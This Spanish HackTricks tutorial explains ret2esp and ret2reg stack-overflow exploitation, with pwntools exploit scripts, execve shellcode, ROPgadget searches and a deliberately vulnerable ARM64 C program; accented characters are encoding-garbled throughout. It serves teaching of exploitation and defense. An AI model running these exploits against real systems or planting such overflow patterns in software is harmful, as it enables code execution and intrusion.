Ret2esp / Ret2reg
Reading time: 7 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Ret2esp
Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila, esta t茅cnica implica reemplazar el EIP (Puntero de Instrucci贸n) con la direcci贸n de una instrucci贸n jmp esp
o call esp
. Al hacer esto, el shellcode se coloca justo despu茅s del EIP sobrescrito. Cuando se ejecuta la instrucci贸n ret
, ESP apunta a la siguiente direcci贸n, precisamente donde se almacena el shellcode.
Si Address Space Layout Randomization (ASLR) no est谩 habilitado en Windows o Linux, es posible utilizar instrucciones jmp esp
o call esp
que se encuentran en bibliotecas compartidas. Sin embargo, con ASLR activo, es posible que necesites buscar dentro del programa vulnerable en s铆 para encontrar estas instrucciones (y puede que necesites derrotar PIE).
Adem谩s, poder colocar el shellcode despu茅s de la corrupci贸n del EIP, en lugar de en medio de la pila, asegura que cualquier instrucci贸n push
o pop
ejecutada durante la operaci贸n de la funci贸n no interfiera con el shellcode. Esta interferencia podr铆a ocurrir si el shellcode se colocara en medio de la pila de la funci贸n.
Falta de espacio
Si te falta espacio para escribir despu茅s de sobrescribir el RIP (quiz谩s solo unos pocos bytes), escribe un shellcode inicial jmp
como:
sub rsp, 0x30
jmp rsp
Y escribe el shellcode temprano en la pila.
Ejemplo
Puedes encontrar un ejemplo de esta t茅cnica en https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp con un exploit final como:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Puedes ver otro ejemplo de esta t茅cnica en https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Hay un desbordamiento de b煤fer sin NX habilitado, se utiliza un gadget para reducir la direcci贸n de $esp
y luego un jmp esp;
para saltar al shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
De manera similar, si sabemos que una funci贸n devuelve la direcci贸n donde se almacena el shellcode, podemos aprovechar las instrucciones call eax
o jmp eax
(conocidas como t茅cnica ret2eax), ofreciendo otro m茅todo para ejecutar nuestro shellcode. Al igual que eax, cualquier otro registro que contenga una direcci贸n interesante podr铆a ser utilizado (ret2reg).
Ejemplo
Puedes encontrar algunos ejemplos aqu铆:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
almacenar谩 eneax
la direcci贸n del buffer donde se almacen贸 el shellcode yeax
no est谩 siendo sobrescrito, por lo que es posible usar unret2eax
.
ARM64
Ret2sp
En ARM64 no hay instrucciones que permitan saltar al registro SP. Podr铆a ser posible encontrar un gadget que mueva sp a un registro y luego salte a ese registro, pero en la libc de mi kali no pude encontrar ning煤n gadget as铆:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Los 煤nicos que descubr铆 cambiar铆an el valor del registro donde se copi贸 sp antes de saltar a 茅l (por lo que se volver铆a in煤til):
.png)
Ret2reg
Si un registro tiene una direcci贸n interesante, es posible saltar a 茅l simplemente encontrando la instrucci贸n adecuada. Podr铆as usar algo como:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
En ARM64, es x0
quien almacena el valor de retorno de una funci贸n, por lo que podr铆a ser que x0 almacene la direcci贸n de un b煤fer controlado por el usuario con un shellcode para ejecutar.
Example code:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Revisando la desensambladura de la funci贸n, es posible ver que la direcci贸n del buffer (vulnerable a bof y controlada por el usuario) est谩 almacenada en x0
antes de regresar del desbordamiento de buffer:
.png)
Tambi茅n es posible encontrar el gadget br x0
en la funci贸n do_stuff
:
.png)
Usaremos ese gadget para saltar a 茅l porque el binario est谩 compilado SIN PIE. Usando un patr贸n, es posible ver que el offset del desbordamiento de buffer es 80, as铆 que el exploit ser铆a:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
Si en lugar de fgets
se hubiera utilizado algo como read
, habr铆a sido posible eludir PIE tambi茅n solo sobrescribiendo los 煤ltimos 2 bytes de la direcci贸n de retorno para volver a la instrucci贸n br x0;
sin necesidad de conocer la direcci贸n completa.
Con fgets
no funciona porque agrega un byte nulo (0x00) al final.
Protecciones
- NX: Si la pila no es ejecutable, esto no ayudar谩 ya que necesitamos colocar el shellcode en la pila y saltar para ejecutarlo.
- ASLR & PIE: Estos pueden dificultar encontrar una instrucci贸n a la que saltar a esp o cualquier otro registro.
Referencias
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.